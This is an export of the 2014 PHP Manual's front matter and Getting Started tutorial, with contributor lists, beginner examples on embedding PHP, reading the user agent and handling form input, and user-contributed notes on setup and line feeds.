PHP Manual

by:
Mehdi Achour
Friedhelm Betz
Antony Dovgal
Nuno Lopes
Hannes Magnusson
Georg Richter
Damien Seguy
Jakub Vrana
And several others
2014-10-30
Edited By: Philip Olson
© 1997-2014 the PHP Documentation Group
  • Copyright
  • PHP Manual
    • Preface
  • Getting Started
    • Introduction
    • A simple tutorial
  • Installation and Configuration
    • General Installation Considerations
    • Installation on Unix systems
    • Installation on Mac OS X
    • Installation on Windows systems
    • Installation on Cloud Computing platforms
    • FastCGI Process Manager (FPM)
    • Installation of PECL extensions
    • Problems?
    • Runtime Configuration
  • Language Reference
    • Basic syntax
    • Types
    • Variables
    • Constants
    • Expressions
    • Operators
    • Control Structures
    • Functions
    • Classes and Objects
    • Namespaces
    • Exceptions
    • Generators
    • References Explained
    • Predefined Variables
    • Predefined Exceptions
    • Predefined Interfaces and Classes
    • Context options and parameters
    • Supported Protocols and Wrappers
  • Security
    • Introduction
    • General considerations
    • Installed as CGI binary
    • Installed as an Apache module
    • Filesystem Security
    • Database Security
    • Error Reporting
    • Using Register Globals
    • User Submitted Data
    • Magic Quotes
    • Hiding PHP
    • Keeping Current
  • Features
    • HTTP authentication with PHP
    • Cookies
    • Sessions
    • Dealing with XForms
    • Handling file uploads
    • Using remote files
    • Connection handling
    • Persistent Database Connections
    • Safe Mode
    • Command line usage — Using PHP from the command line
    • Garbage Collection
    • DTrace Dynamic Tracing
  • Function Reference
    • Affecting PHP's Behaviour
    • Audio Formats Manipulation
    • Authentication Services
    • Command Line Specific Extensions
    • Compression and Archive Extensions
    • Credit Card Processing
    • Cryptography Extensions
    • Database Extensions
    • Date and Time Related Extensions
    • File System Related Extensions
    • Human Language and Character Encoding Support
    • Image Processing and Generation
    • Mail Related Extensions
    • Mathematical Extensions
    • Non-Text MIME Output
    • Process Control Extensions
    • Other Basic Extensions
    • Other Services
    • Search Engine Extensions
    • Server Specific Extensions
    • Session Extensions
    • Text Processing
    • Variable and Type Related Extensions
    • Web Services
    • Windows Only Extensions
    • XML Manipulation
  • PHP at the Core: A Hacker's Guide
    • Preface
    • Memory management
    • Working with Variables
    • Writing Functions
    • Writing Classes
    • Working with Resources
    • Working with INI settings
    • Working with streams
    • The "counter" Extension - A Continuing Example
    • The PHP 5 build system
    • Extension structure
    • PDO Driver How-To
    • Extension FAQs
    • Zend Engine 2 API reference
    • Zend Engine 2 Opcodes
    • Zend Engine 1
  • FAQ — FAQ: Frequently Asked Questions
    • General Information
    • Mailing lists
    • Obtaining PHP
    • Database issues
    • Installation
    • Build Problems
    • Using PHP
    • Password Hashing — Safe Password Hashing
    • PHP and HTML
    • PHP and COM
    • Migrating from PHP 4 to PHP 5
    • Miscellaneous Questions
  • Appendices
    • History of PHP and Related Projects
    • Migrating from PHP 5.5.x to PHP 5.6.x
    • Migrating from PHP 5.4.x to PHP 5.5.x
    • Migrating from PHP 5.3.x to PHP 5.4.x
    • Migrating from PHP 5.2.x to PHP 5.3.x
    • Migrating from PHP 5.1.x to PHP 5.2.x
    • Migrating from PHP 5.0.x to PHP 5.1.x
    • Migrating from PHP 4 to PHP 5.0.x
    • Classes and Objects (PHP 4)
    • Debugging in PHP
    • Configure options
    • php.ini directives
    • Extension List/Categorization
    • List of Function Aliases
    • List of Reserved Words
    • List of Resource Types
    • List of Available Filters
    • List of Supported Socket Transports
    • PHP type comparison tables
    • List of Parser Tokens
    • Userland Naming Guide
    • About the manual
    • Creative Commons Attribution 3.0
    • Index listing
    • Changelog
  • HTML Help Edition
    • About This Edition
    • Using PHP Manual CHM Edition
    • The Full Text Search
    • Integrating the PHP Manual

User Contributed Notes

There are no user contributed notes for this page.


Copyright

Copyright © 1997 - 2014 by the PHP Documentation Group. This material may be distributed only subject to the terms and conditions set forth in the Creative Commons Attribution 3.0 License or later. A copy of the Creative Commons Attribution 3.0 license is distributed with this manual. The latest version is presently available at » http://creativecommons.org/licenses/by/3.0/.

If you are interested in redistribution or republishing of this document in whole or in part, either modified or unmodified, and you have questions, please contact the Copyright holders at » doc-license@lists.php.net. Note that this address is mapped to a publicly archived mailing list.

User Contributed Notes

There are no user contributed notes for this page.


PHP Manual

  • Preface

User Contributed Notes

There are no user contributed notes for this page.


Preface

PHP, which stands for "PHP: Hypertext Preprocessor" is a widely-used Open Source general-purpose scripting language that is especially suited for web development and can be embedded into HTML. Its syntax draws upon C, Java, and Perl, and is easy to learn. The main goal of the language is to allow web developers to write dynamically generated web pages quickly, but you can do much more with PHP.

This manual consists primarily of a function reference, but also contains a language reference, explanations of some of PHP's major features, and other supplemental information.

You can download this manual in several formats at » http://www.php.net/download-docs.php. More information about how this manual is developed can be found in the 'About the manual' appendix. If you are interested in the history of PHP, visit the relevant appendix.

Authors and Contributors

We highlight the currently most active people on front page of the manual, but there are many more contributors who currently help in our work or have provided a great amount of help to the project in the past. There are a lot of unnamed people who help out with user notes on manual pages, which continually get included in the references, the work of whom we are also very thankful for. All of the lists provided below are in alphabetical order.

Authors and Editors

The following contributors should be recognized for the impact they have made and/or continue to make by adding content to the manual: Bill Abt, Jouni Ahto, Alexander Aulbach, Daniel Beckham, Stig Bakken, Nilgün Belma Bugüner, Jesus M. Castagnetto, Ron Chmara, Sean Coates, John Coggeshall, Simone Cortesi, Peter Cowburn, Daniel Egeberg, Markus Fischer, Wez Furlong, Sara Golemon, Rui Hirokawa, Brad House, Pierre-Alain Joye, Etienne Kneuss, Moriyoshi Koizumi, Rasmus Lerdorf, Andrew Lindeman, Stanislav Malyshev, Justin Martin, Rafael Martinez, Rick McGuire, Moacir de Oliveira Miranda Júnior, Kalle Sommer Nielsen, Yasuo Ohgaki, Richard Quadling, Derick Rethans, Rob Richards, Sander Roobol, Egon Schmid, Thomas Schoefbeck, Sascha Schumann, Dan Scott, Masahiro Takagi, Yannick Torres, Michael Wallner, Lars Torben Wilson, Jim Winstead, Jeroen van Wolffelaar and Andrei Zmievski.

The following contributors have done significant work editing the manual: Stig Bakken, Gabor Hojtsy, Hartmut Holzgraefe and Egon Schmid.

User Note Maintainers

The currently most active maintainers are: Daniel Brown, Nuno Lopes, Felipe Pena, Thiago Pojda and Maciek Sokolewicz.

These people have also put a lot of effort into managing user notes: Mehdi Achour, Daniel Beckham, Friedhelm Betz, Victor Boivie, Jesus M. Castagnetto, Nicolas Chaillan, Ron Chmara, Sean Coates, James Cox, Vincent Gevers, Sara Golemon, Zak Greant, Szabolcs Heilig, Oliver Hinckel, Hartmut Holzgraefe, Etienne Kneuss, Rasmus Lerdorf, Matthew Li, Andrew Lindeman, Aidan Lister, Hannes Magnusson, Maxim Maletsky, Bobby Matthis, James Moore, Philip Olson, Sebastian Picklum, Derick Rethans, Sander Roobol, Damien Seguy, Jason Sheets, Tom Sommer, Jani Taskinen, Yasuo Ohgaki, Jakub Vrana, Lars Torben Wilson, Jim Winstead, Jared Wyles and Jeroen van Wolffelaar.

User Contributed Notes

There are no user contributed notes for this page.


Getting Started

  • Introduction
    • What is PHP?
    • What can PHP do?
  • A simple tutorial
    • What do I need?
    • Your first PHP-enabled page
    • Something Useful
    • Dealing with Forms
    • Using old code with new versions of PHP
    • What's next?

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Table of Contents

  • What is PHP?
  • What can PHP do?

User Contributed Notes

There are no user contributed notes for this page.


What is PHP?

PHP (recursive acronym for PHP: Hypertext Preprocessor) is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML.

Nice, but what does that mean? An example:

Example #1 An introductory example

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
    "http://www.w3.org/TR/html4/loose.dtd">
<html>
    <head>
        <title>Example</title>
    </head>
    <body>

        <?php
            echo "Hi, I'm a PHP script!";
        ?>

    </body>
</html>

Instead of lots of commands to output HTML (as seen in C or Perl), PHP pages contain HTML with embedded code that does "something" (in this case, output "Hi, I'm a PHP script!"). The PHP code is enclosed in special start and end processing instructions <?php and ?> that allow you to jump into and out of "PHP mode."

What distinguishes PHP from something like client-side JavaScript is that the code is executed on the server, generating HTML which is then sent to the client. The client would receive the results of running that script, but would not know what the underlying code was. You can even configure your web server to process all your HTML files with PHP, and then there's really no way that users can tell what you have up your sleeve.

The best things in using PHP are that it is extremely simple for a newcomer, but offers many advanced features for a professional programmer. Don't be afraid reading the long list of PHP's features. You can jump in, in a short time, and start writing simple scripts in a few hours.

Although PHP's development is focused on server-side scripting, you can do much more with it. Read on, and see more in the What can PHP do? section, or go right to the introductory tutorial if you are only interested in web programming.

User Contributed Notes

Jonathan 01-Apr-2014 07:15
In the german translation of the intro is false statement, which describes the implentation of PHP Code in HTML Code as embedding. Actually this is no embedding, because the code gets compiled at Server Side first, after that it is send to the Client, where it renders the page. Because there is no backflow to the code PHP Code itself, it is not embedded in the PHP Code.


What can PHP do?

Anything. PHP is mainly focused on server-side scripting, so you can do anything any other CGI program can do, such as collect form data, generate dynamic page content, or send and receive cookies. But PHP can do much more.

There are three main areas where PHP scripts are used.

  • Server-side scripting. This is the most traditional and main target field for PHP. You need three things to make this work. The PHP parser (CGI or server module), a web server and a web browser. You need to run the web server, with a connected PHP installation. You can access the PHP program output with a web browser, viewing the PHP page through the server. All these can run on your home machine if you are just experimenting with PHP programming. See the installation instructions section for more information.
  • Command line scripting. You can make a PHP script to run it without any server or browser. You only need the PHP parser to use it this way. This type of usage is ideal for scripts regularly executed using cron (on *nix or Linux) or Task Scheduler (on Windows). These scripts can also be used for simple text processing tasks. See the section about Command line usage of PHP for more information.
  • Writing desktop applications. PHP is probably not the very best language to create a desktop application with a graphical user interface, but if you know PHP very well, and would like to use some advanced PHP features in your client-side applications you can also use PHP-GTK to write such programs. You also have the ability to write cross-platform applications this way. PHP-GTK is an extension to PHP, not available in the main distribution. If you are interested in PHP-GTK, visit » its own website.

PHP can be used on all major operating systems, including Linux, many Unix variants (including HP-UX, Solaris and OpenBSD), Microsoft Windows, Mac OS X, RISC OS, and probably others. PHP has also support for most of the web servers today. This includes Apache, IIS, and many others. And this includes any web server that can utilize the FastCGI PHP binary, like lighttpd and nginx. PHP works as either a module, or as a CGI processor.

So with PHP, you have the freedom of choosing an operating system and a web server. Furthermore, you also have the choice of using procedural programming or object oriented programming (OOP), or a mixture of them both.

With PHP you are not limited to output HTML. PHP's abilities includes outputting images, PDF files and even Flash movies (using libswf and Ming) generated on the fly. You can also output easily any text, such as XHTML and any other XML file. PHP can autogenerate these files, and save them in the file system, instead of printing it out, forming a server-side cache for your dynamic content.

One of the strongest and most significant features in PHP is its support for a wide range of databases. Writing a database-enabled web page is incredibly simple using one of the database specific extensions (e.g., for mysql), or using an abstraction layer like PDO, or connect to any database supporting the Open Database Connection standard via the ODBC extension. Other databases may utilize cURL or sockets, like CouchDB.

PHP also has support for talking to other services using protocols such as LDAP, IMAP, SNMP, NNTP, POP3, HTTP, COM (on Windows) and countless others. You can also open raw network sockets and interact using any other protocol. PHP has support for the WDDX complex data exchange between virtually all Web programming languages. Talking about interconnection, PHP has support for instantiation of Java objects and using them transparently as PHP objects.

PHP has useful text processing features, which includes the Perl compatible regular expressions (PCRE), and many extensions and tools to parse and access XML documents. PHP standardizes all of the XML extensions on the solid base of libxml2, and extends the feature set adding SimpleXML, XMLReader and XMLWriter support.

And many other interesting extensions exist, which are categorized both alphabetically and by category. And there are additional PECL extensions that may or may not be documented within the PHP manual itself, like » XDebug.

As you can see this page is not enough to list all the features and benefits PHP can offer. Read on in the sections about installing PHP, and see the function reference part for explanation of the extensions mentioned here.

User Contributed Notes

jaikrat dot singh at gmail dot com 02-Sep-2014 09:01
You should provide a link at the bottom of the page as well for next topic. Everytime we have to scroll up. Thanks
geeky dot guy at gmail dot com 22-Aug-2007 05:30
In short,what PHP can do is convert a static website that has content that has to be changed by hand into a dynamic one that can display content based on any criteria you can think of.


A simple tutorial

Table of Contents

  • What do I need?
  • Your first PHP-enabled page
  • Something Useful
  • Dealing with Forms
  • Using old code with new versions of PHP
  • What's next?

Here we would like to show the very basics of PHP in a short, simple tutorial. This text only deals with dynamic web page creation with PHP, though PHP is not only capable of creating web pages. See the section titled What can PHP do for more information.

PHP-enabled web pages are treated just like regular HTML pages and you can create and edit them the same way you normally create regular HTML pages.

User Contributed Notes

There are no user contributed notes for this page.


What do I need?

In this tutorial we assume that your server has activated support for PHP and that all files ending in .php are handled by PHP. On most servers, this is the default extension for PHP files, but ask your server administrator to be sure. If your server supports PHP, then you do not need to do anything. Just create your .php files, put them in your web directory and the server will automatically parse them for you. There is no need to compile anything nor do you need to install any extra tools. Think of these PHP-enabled files as simple HTML files with a whole new family of magical tags that let you do all sorts of things.

Let us say you want to save precious bandwidth and develop locally. In this case, you will want to install a web server, such as » Apache, and of course » PHP. You will most likely want to install a database as well, such as » MySQL.

You can either install these individually or choose a simpler way. Our manual has installation instructions for PHP (assuming you already have some web server set up). If you have problems with installing PHP yourself, we would suggest you ask your questions on our » installation mailing list. If you choose to go on the simpler route, then » locate a pre-configured package for your operating system, which automatically installs all of these with just a few mouse clicks. It is easy to setup a web server with PHP support on any operating system, including MacOSX, Linux and Windows. On Linux, you may find » rpmfind and » PBone helpful for locating RPMs. You may also want to visit » apt-get to find packages for Debian.

User Contributed Notes

rahularora dot net at gmail dot com 20-Sep-2014 05:47
Get PHP up and running with WAMP on Windows, MAMP on Mac, LAMP on Linux.
Anonymous 19-Sep-2014 06:41
Easy PHP does not install any service and can be run just as needed: http://www.easyphp.org/
chris_evans at tesco dot net 19-Sep-2014 12:48
On Windows I found WampServer an extremely easy install for Apache, PHP and MySQL and thought it may deserve a mention on this topic.  Available at http://www.wampserver.com/en/.
spiderg at email dot com 14-Sep-2014 05:57
If you want to use PHP on Windows, you can use the oficial PHP implementation of Windows, through Microsoft Web Platform. Is free and is integrated with IIS. Check the url http://php.iis.net/
peaceinoffice at gmail dot com 03-Jun-2014 10:18
I use OpenServer is easy to configure and have same extra tools
bloggernitscomp54engg[at]gmail(dot)com 09-May-2014 09:05
mostly wamp install in window. easy to configure and very easy to use.
josejayesh at gmail dot com 20-Feb-2014 12:01
Use vagrant (http://www.vagrantup.com/ ) , https://www.virtualbox.org/ and https://puphpet.com/ to setup the environment
ddiipp at outlook dot com 19-Dec-2013 12:45
Use Xampp or Wamp in windows,linux. And MAMP in Mac
info at fahdi dot tk 12-Nov-2013 03:31
Hey , get yourself WAMP for fast forwarding on this one.


Your first PHP-enabled page

Create a file named hello.php and put it in your web server's root directory (DOCUMENT_ROOT) with the following content:

Example #1 Our first PHP script: hello.php

<html>
 <head>
  <title>PHP Test</title>
 </head>
 <body>
 <?php echo '<p>Hello World</p>'; ?>
 </body>
</html>

Use your browser to access the file with your web server's URL, ending with the /hello.php file reference. When developing locally this URL will be something like http://localhost/hello.php or http://127.0.0.1/hello.php but this depends on the web server's configuration. If everything is configured correctly, this file will be parsed by PHP and the following output will be sent to your browser:

<html>
 <head>
  <title>PHP Test</title>
 </head>
 <body>
 <p>Hello World</p>
 </body>
</html>

This program is extremely simple and you really did not need to use PHP to create a page like this. All it does is display: Hello World using the PHP echo statement. Note that the file does not need to be executable or special in any way. The server finds out that this file needs to be interpreted by PHP because you used the ".php" extension, which the server is configured to pass on to PHP. Think of this as a normal HTML file which happens to have a set of special tags available to you that do a lot of interesting things.

If you tried this example and it did not output anything, it prompted for download, or you see the whole file as text, chances are that the server you are on does not have PHP enabled, or is not configured properly. Ask your administrator to enable it for you using the Installation chapter of the manual. If you are developing locally, also read the installation chapter to make sure everything is configured properly. Make sure that you access the file via http with the server providing you the output. If you just call up the file from your file system, then it will not be parsed by PHP. If the problems persist anyway, do not hesitate to use one of the many » PHP support options.

The point of the example is to show the special PHP tag format. In this example we used <?php to indicate the start of a PHP tag. Then we put the PHP statement and left PHP mode by adding the closing tag, ?>. You may jump in and out of PHP mode in an HTML file like this anywhere you want. For more details, read the manual section on the basic PHP syntax.

Note: A Note on Line Feeds

Line feeds have little meaning in HTML, however it is still a good idea to make your HTML look nice and clean by putting line feeds in. A linefeed that follows immediately after a closing ?> will be removed by PHP. This can be extremely useful when you are putting in many blocks of PHP or include files containing PHP that aren't supposed to output anything. At the same time it can be a bit confusing. You can put a space after the closing ?> to force a space and a line feed to be output, or you can put an explicit line feed in the last echo/print from within your PHP block.

Note: A Note on Text Editors

There are many text editors and Integrated Development Environments (IDEs) that you can use to create, edit and manage PHP files. A partial list of these tools is maintained at » PHP Editors List. If you wish to recommend an editor, please visit the above page and ask the page maintainer to add the editor to the list. Having an editor with syntax highlighting can be helpful.

Note: A Note on Word Processors

Word processors such as StarOffice Writer, Microsoft Word and Abiword are not optimal for editing PHP files. If you wish to use one for this test script, you must ensure that you save the file as plain text or PHP will not be able to read and execute the script.

Note: A Note on Windows Notepad

If you are writing your PHP scripts using Windows Notepad, you will need to ensure that your files are saved with the .php extension. (Notepad adds a .txt extension to files automatically unless you take one of the following steps to prevent it.) When you save the file and are prompted to provide a name for the file, place the filename in quotes (i.e. "hello.php"). Alternatively, you can click on the 'Text Documents' drop-down menu in the 'Save' dialog box and change the setting to "All Files". You can then enter your filename without quotes.

Now that you have successfully created a working PHP script, it is time to create the most famous PHP script! Make a call to the phpinfo() function and you will see a lot of useful information about your system and setup such as available predefined variables, loaded PHP modules, and configuration settings. Take some time and review this important information.

Example #2 Get system information from PHP

<?php phpinfo(); ?>

User Contributed Notes

ivan at ivandigital dot com 08-Oct-2014 05:56
Note on Line Feeds

These are 2 alternative ways to add a line feed after a php block.

---
1. Echo a "\n" at the end of the block.

<?php
    echo "Hello World";
    echo "\n";
?>

Alternatively you can also concatenate "\n" to the last echo/print in the block.

<?php
    echo "Hello World" . "\n";
?>

Note: the string "\n" must be inside double quotes; using single quotes will output the literal string.

---
2. Add two line feeds after the closing ?> tag.

By explicitly adding two line feeds after the closing ?> tag, the first one will be removed by php, and the second one will appear in the output.

---
One advantage of both approaches is that you don't need to add a space after the closing ?> tag (to force a space and a line feed to be output), instead, only the line feed is output.
ivan at ivandigital dot com 08-Oct-2014 05:55
Note on Line Feeds

These are 2 alternative ways to add a line feed after a php block.

---
1. Echo a "\n" at the end of the block.

<?php
    echo "Hello World";
    echo "\n";
?>

Alternatively you can also concatenate "\n" to the last echo/print in the block.

<?php
    echo "Hello World" . "\n";
?>

Note: the string "\n" must be inside double quotes; using single quotes will output the literal string.

---
2. Add two line feeds after the closing ?> tag.

By explicitly adding two line feeds after the closing ?> tag, the first one will be removed by php, and the second one will appear in the output.

---
One advantage of both approaches is that you don't need to add a space after the closing ?> tag (to force a space and a line feed to be output), instead, only the line feed is output.
ivan at ivandigital dot com 08-Oct-2014 05:44
Note on Line Feeds

These are 2 alternative ways to add a line feed after a php block.

---
1. Echo a "\n" at the end of the block.

<?php
    echo "Hello World";
    echo "\n";
?>

Alternatively you can also concatenate "\n" to the last echo/print in the block.

<?php
    echo "Hello World" . "\n";
?>

Note: the string "\n" must be inside double quotes; using single quotes will output the literal string.

---
2. Add two line feeds after the closing ?> tag.

By explicitly adding two line feeds after the closing ?> tag, the first one will be removed by php, and the second one will appear in the output.

---
One advantage of both approaches is that you don't need to add a space after the closing ?> tag (to force a space and a line feed to be output), instead, only the line feed is output.
Luis 07-Oct-2014 09:24
In my particular configuration (Apache Web Server on ArchLinux) the Document Root is /srv/http, hence I should put my helloworld.php file in that directory, not in /var/www, which doesn't exist.

You can find out checking your server configuration. Again, with my particular configuration, if I execute (in a terminal window) the following command:

   cat /etc/httpd/conf/httpd.conf | grep -e '^DocumentRoot'

I get the output:

   DocumentRoot "/srv/http"

which indicates me where to locate the .php files
naoehnadaserio at gmail dot com 15-Jan-2014 01:42
The folder to put your helloworld.php is /var/www/ on Linux
miklcct at gmail dot com 03-Jan-2010 02:56
If you save your code as UTF-8, make sure that the BOM (EF BB BF) is not present as the first 3 bytes of the file otherwise it may interfere with the code if the PHP need to be run before any output (e.g. header()).
onebadscrivener at gmail dot com 18-Jan-2005 02:25
OS X users editing in TextEdit will need to make sure their TextEdit preferences are set to allow plain text files.  Under the TextEdit pull-down menu, choose PREFERENCES, then under NEW DOCUMENT ATTRIBUTES in the window that pops up, click PLAIN TEXT.

Then, in the section of that same window called "saving," DESELECT "append .txt extension to plain text files."  This will allow you to save your files with a .php extension.

Then close the PREFERENCES window.  You're good to go.
ryan420 at earthling dot net 03-Feb-2003 11:18
Note on permissions of php files:  You don't have to use 'chmod 0755' under UNIX or Linux; the permissions need not be set to executable.  Again, this is more like a html file than a cgi script.  The only mandatory requirement is that the web server process has read access to the php file(s).  With many Linux systems, it is popular for Apache to run under the 'apache' account.  Given that HTML and other web files, like php, are often owned by user 'root' and group 'web' (or another similar group name), acceptable permissions might be those achieved with 'chmod 664' or 'chmod 644'.  The web server process, running under the 'apache' account, will inherit read only permissions.  The 'apache' account is not root and is not a member of the 'web' group, so the "other" portion of the permissions (the last "4") applies.


Something Useful

Let us do something more useful now. We are going to check what sort of browser the visitor is using. For that, we check the user agent string the browser sends as part of the HTTP request. This information is stored in a variable. Variables always start with a dollar-sign in PHP. The variable we are interested in right now is $_SERVER['HTTP_USER_AGENT'].

Note:

$_SERVER is a special reserved PHP variable that contains all web server information. It is known as a superglobal. See the related manual page on superglobals for more information. These special variables were introduced in PHP » 4.1.0. Before this time, we used the older $HTTP_*_VARS arrays instead, such as $HTTP_SERVER_VARS. Although deprecated, these older variables still exist. (See also the note on old code.)

To display this variable, you can simply do:

Example #1 Printing a variable (Array element)

<?php
echo $_SERVER['HTTP_USER_AGENT'];
?>

A sample output of this script may be:

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

There are many types of variables available in PHP. In the above example we printed an Array element. Arrays can be very useful.

$_SERVER is just one variable that PHP automatically makes available to you. A list can be seen in the Reserved Variables section of the manual or you can get a complete list of them by looking at the output of the phpinfo() function used in the example in the previous section.

You can put multiple PHP statements inside a PHP tag and create little blocks of code that do more than just a single echo. For example, if you want to check for Internet Explorer you can do this:

Example #2 Example using control structures and functions

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE) {
    echo 'You are using Internet Explorer.<br />';
}
?>

A sample output of this script may be:

You are using Internet Explorer.<br />

Here we introduce a couple of new concepts. We have an if statement. If you are familiar with the basic syntax used by the C language, this should look logical to you. Otherwise, you should probably pick up an introductory PHP book and read the first couple of chapters, or read the Language Reference part of the manual.

The second concept we introduced was the strpos() function call. strpos() is a function built into PHP which searches a string for another string. In this case we are looking for 'MSIE' (so-called needle) inside $_SERVER['HTTP_USER_AGENT'] (so-called haystack). If the needle is found inside the haystack, the function returns the position of the needle relative to the start of the haystack. Otherwise, it returns FALSE. If it does not return FALSE, the if expression evaluates to TRUE and the code within its {braces} is executed. Otherwise, the code is not run. Feel free to create similar examples, with if, else, and other functions such as strtoupper() and strlen(). Each related manual page contains examples too. If you are unsure how to use functions, you will want to read both the manual page on how to read a function definition and the section about PHP functions.

We can take this a step further and show how you can jump in and out of PHP mode even in the middle of a PHP block:

Example #3 Mixing both HTML and PHP modes

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE) {
?>
<h3>strpos() must have returned non-false</h3>
<p>You are using Internet Explorer</p>
<?php
} else {
?>
<h3>strpos() must have returned false</h3>
<p>You are not using Internet Explorer</p>
<?php
}
?>

A sample output of this script may be:

<h3>strpos() must have returned non-false</h3>
<p>You are using Internet Explorer</p>

Instead of using a PHP echo statement to output something, we jumped out of PHP mode and just sent straight HTML. The important and powerful point to note here is that the logical flow of the script remains intact. Only one of the HTML blocks will end up getting sent to the viewer depending on the result of strpos(). In other words, it depends on whether the string MSIE was found or not.

User Contributed Notes

Declan Kelly 22-May-2014 09:03
Please note that Internet Explorer 11 no longer contains MSIE in its user agent string, for example on Windows 8 with IE11 I get the following:

Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko

So if you want to include a test for IE11, the code above changes to:

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE ||
    strpos($_SERVER['HTTP_USER_AGENT'], 'Trident') !== FALSE) {
    echo 'You are using Internet Explorer.<br />';
}
?>
rfantin at coralwood dot com 20-Dec-2006 07:00
While it's easy to get carried away mixing your logic and presentation together since it's so easy to do, you're better off using PHP within HTML only to fill in values, or include other source files.

Keep your actual processing in separate libraries that are called before you send any headers to the page. Try to avoid calling a script that retrieves or sets information, or manipulates it in the middle of your HTML. You'll find it's much easier to maintain.


Dealing with Forms

One of the most powerful features of PHP is the way it handles HTML forms. The basic concept that is important to understand is that any form element will automatically be available to your PHP scripts. Please read the manual section on Variables from external sources for more information and examples on using forms with PHP. Here is an example HTML form:

Example #1 A simple HTML form

<form action="action.php" method="post">
 <p>Your name: <input type="text" name="name" /></p>
 <p>Your age: <input type="text" name="age" /></p>
 <p><input type="submit" /></p>
</form>

There is nothing special about this form. It is a straight HTML form with no special tags of any kind. When the user fills in this form and hits the submit button, the action.php page is called. In this file you would write something like this:

Example #2 Printing data from our form

Hi <?php echo htmlspecialchars($_POST['name']); ?>.
You are <?php echo (int)$_POST['age']; ?> years old.

A sample output of this script may be:

Hi Joe. You are 22 years old.

Apart from the htmlspecialchars() and (int) parts, it should be obvious what this does. htmlspecialchars() makes sure any characters that are special in html are properly encoded so people can't inject HTML tags or Javascript into your page. For the age field, since we know it is a number, we can just convert it to an integer which will automatically get rid of any stray characters. You can also have PHP do this for you automatically by using the filter extension. The $_POST['name'] and $_POST['age'] variables are automatically set for you by PHP. Earlier we used the $_SERVER superglobal; above we just introduced the $_POST superglobal which contains all POST data. Notice how the method of our form is POST. If we used the method GET then our form information would live in the $_GET superglobal instead. You may also use the $_REQUEST superglobal, if you do not care about the source of your request data. It contains the merged information of GET, POST and COOKIE data.

You can also deal with XForms input in PHP, although you will find yourself comfortable with the well supported HTML forms for quite some time. While working with XForms is not for beginners, you might be interested in them. We also have a short introduction to handling data received from XForms in our features section.

User Contributed Notes

mail at pheunix dot in 15-Oct-2014 04:10
It's true, comments do not take up PROCESSING time, but they do take some PARSING time in case you are not using a compile cache of some kind.
mail at syspoly dot com 19-Sep-2014 06:04
I have gone through the site php is the main concept of this blog.
otherwise its fine.
mail at pheunix dot com 18-Sep-2014 08:21
I Have gone  through your post its all about coding . which is a compulsary part for making a website.

www.pheunix.com
jerry4u at foxmail dot com 27-May-2014 01:23
the difference of method GET and POST is really important.
behnam jaza faza 24-Jun-2013 04:22
The note above says:

"Also see the import_request_variables() function. "

But dont:

This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
Andy 14-Apr-2012 09:05
Just a reminder about security: the chosen HTTP request verb (e.g. POST, GET) does not necessarily make the request "secure". Any information that is not transmitted over an encrypted channel (using SSL, i.e. HTTPS) is transmitted in plan text.

For secure transport of sensitive/private information over HTTP consider using SSL as this prevents eve's dropping of the information transmitted over HTTP.

[Edited by googleguy@php.net for clarity]
Johann Gomes (johanngomes at gmail dot com) 12-Oct-2010 04:20
Also, don't ever use GET method in a form that capture passwords and other things that are meant to be hidden.
sethg at ropine dot com 01-Dec-2003 09:55
According to the HTTP specification, you should use the POST method when you're using the form to change the state of something on the server end. For example, if a page has a form to allow users to add their own comments, like this page here, the form should use POST. If you click "Reload" or "Refresh" on a page that you reached through a POST, it's almost always an error -- you shouldn't be posting the same comment twice -- which is why these pages aren't bookmarked or cached.

You should use the GET method when your form is, well, getting something off the server and not actually changing anything.  For example, the form for a search engine should use GET, since searching a Web site should not be changing anything that the client might care about, and bookmarking or caching the results of a search-engine query is just as useful as bookmarking or caching a static HTML page.


Using old code with new versions of PHP

Now that PHP has grown to be a popular scripting language, there are a lot of public repositories and libraries containing code you can reuse. The PHP developers have largely tried to preserve backwards compatibility, so a script written for an older version will run (ideally) without changes in a newer version of PHP. In practice, some changes will usually be needed.

Two of the most important recent changes that affect old code are:

  • The deprecation of the old $HTTP_*_VARS arrays (which need to be indicated as global when used inside a function or method). The following superglobal arrays were introduced in PHP » 4.1.0. They are: $_GET, $_POST, $_COOKIE, $_SERVER, $_FILES, $_ENV, $_REQUEST, and $_SESSION. The older $HTTP_*_VARS arrays, such as $HTTP_POST_VARS, also exist. As of PHP 5.0.0, the long PHP predefined variable arrays may be disabled with the register_long_arrays directive.
  • External variables are no longer registered in the global scope by default. In other words, as of PHP » 4.2.0 the PHP directive register_globals is off by default in php.ini. The preferred method of accessing these values is via the superglobal arrays mentioned above. Older scripts, books, and tutorials may rely on this directive being on. If it were on, for example, one could use $id from the URL http://www.example.com/foo.php?id=42. Whether on or off, $_GET['id'] is available.
For more details on these changes, see the section on predefined variables and links therein.

User Contributed Notes

There are no user contributed notes for this page.


What's next?

With your new knowledge you should be able to understand most of the manual and also the various example scripts available in the example archives.

To view various slide presentations that show more of what PHP can do, see the PHP Conference Material Site: » http://talks.php.net/

User Contributed Notes

There are no user contributed notes for this page.


Installation and Configuration

  • General Installation Considerations
  • Installation on Unix systems
    • Apache 1.3.x on Unix systems
    • Apache 2.x on Unix systems
    • Nginx 1.4.x on Unix systems
    • Lighttpd 1.4 on Unix systems
    • Sun, iPlanet and Netscape servers on Sun Solaris
    • CGI and command line setups
    • HP-UX specific installation notes
    • OpenBSD installation notes
    • Solaris specific installation tips
    • Debian GNU/Linux installation notes
  • Installation on Mac OS X
    • Using Packages
    • Using the bundled PHP
    • Compiling PHP on Mac OS X
  • Installation on Windows systems
    • Manual Installation Steps
    • Microsoft IIS
    • Microsoft IIS 5.1 and IIS 6.0
    • Microsoft IIS 7.0 and later
    • Apache 1.3.x on Microsoft Windows
    • Apache 2.x on Microsoft Windows
    • Sun, iPlanet and Netscape servers on Microsoft Windows
    • Sambar Server on Microsoft Windows
    • Xitami on Microsoft Windows
    • Building from source
    • Installation of extensions on Windows
